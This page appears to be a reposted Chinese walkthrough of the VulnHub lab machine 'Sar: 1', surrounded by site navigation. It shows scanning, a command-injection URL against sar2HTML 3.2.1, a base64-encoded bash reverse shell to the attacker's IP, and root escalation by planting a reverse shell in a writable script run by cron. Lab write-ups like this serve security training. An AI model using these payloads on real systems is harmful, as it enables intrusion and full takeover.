| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 大数据 -> vulnhub Sar: 1 -> 正文阅读 |
|
[大数据]vulnhub Sar: 1 |
渗透思路:nmap扫描----dirb扫描网站目录----exploit-db查找exp----利用sar2html的RCE漏洞getshell(base64编码)----利用定时任务提权 环境信息:靶机:192.168.101.65 攻击机:192.168.101.34 具体步骤:1、nmap扫描
只扫描到80端口(http) 2、dirb扫描网站目录
查看http://192.168.101.65/robots.txt,发现sar2HTML 3、exploit-db查找exp访问http://192.168.101.65/sar2HTML/,发现版本信息:sar2html Ver 3.2.1 在Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers中搜索sar2,得到2条版本匹配的结果,上面那条是个python脚本,下面那条是文字说明 查看下面那条Sar2HTML 3.2.1 - Remote Command Execution - PHP webapps Exploit 可以看出漏洞利用步骤很简单,只需要在http://<ipaddr>/index.php?plot=;<command-here>的<command-here>处输入命令,然后点击select host下拉框即可 4、利用sar2html的RCE漏洞getshell先用id命令尝试一下: 浏览器访问http://192.168.101.65/sar2HTML/index.php?plot=;id 然后点击select host下拉框,可以看到下拉框中包含id命令的执行结果 然后尝试getshell。 经尝试,这边bash反弹shell需要base64编码,具体方式如下: 先在攻击机上输入
得到bash -i &>/dev/tcp/192.168.101.34/8888 <&1的base64编码 再组合成下面的payload,也就是在靶机上将YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAxLjM0Lzg4ODggPCYxCg==进行base64解码之后再执行
攻击机上nc监听8888端口
然后浏览器访问 然后攻击机上nc监听的端口就获得了靶机www-data用户的反弹shell 5、利用定时任务提权love的家目录下执行以下命令,迭代查看该目录下的文件。
只找到第一个flag:/home/love/Desktop/user.txt 攻击机上linpeas.sh所在目录下起http服务
靶机/tmp目录下执行
linpeas.sh的执行结果中有个非常可疑的定时任务,root每隔5分钟执行一次/var/www/html/finally.sh 后来找了一下是/etc/crontab中写的 查看/var/www/html/finally.sh的内容,发现它执行了/var/www/html/write.sh 由于/var/www/html/write.sh是可以修改的,因此可以将反弹shell命令加入该文件中,这样定时任务执行的时候就可以得到root用户的反弹shell 将反弹shell命令写入/var/www/html/write.sh
查看是否写入成功 攻击机上nc监听7777端口
等待几分钟之后,获得root的反弹shell 查看flag:/root/root.txt |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/24 1:15:42- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |